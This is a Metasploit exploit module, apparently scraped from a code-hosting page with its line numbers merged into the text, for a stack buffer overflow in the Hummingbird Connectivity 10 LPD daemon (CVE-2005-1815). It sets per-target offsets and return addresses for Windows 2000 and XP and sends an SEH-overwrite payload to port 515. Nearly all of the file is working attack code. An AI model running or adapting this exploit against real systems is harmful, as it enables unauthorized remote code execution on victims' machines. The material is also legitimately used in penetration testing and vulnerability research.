Path: blob/master/modules/exploits/windows/lpd/hummingbird_exceed.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Hummingbird Connectivity 10 SP5 LPD Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Hummingbird Connectivity1810 LPD Daemon. This module has only been tested against Hummingbird19Exceed v10 with SP5.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24['CVE', '2005-1815'],25['OSVDB', '16957'],26['BID', '13788'],27],28'Privileged' => true,2930'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 500,35'BadChars' => "\x00\x0a",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40['Windows 2000 English SP0-SP4', { 'Offset' => 1620, 'Ret' => 0x75022ac4 }],41['Windows XP English SP0/SP1', { 'Offset' => 1596, 'Ret' => 0x71aa2461 }],42],4344'DisclosureDate' => '2005-05-27',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([ Opt::RPORT(515) ])54end5556def exploit57connect5859filler = rand_text_english(target['Offset'], payload_badchars)60seh = generate_seh_payload(target.ret)61sploit = filler + seh6263print_status("Trying target #{target.name}...")64sock.put(sploit)6566handler67disconnect68end69end707172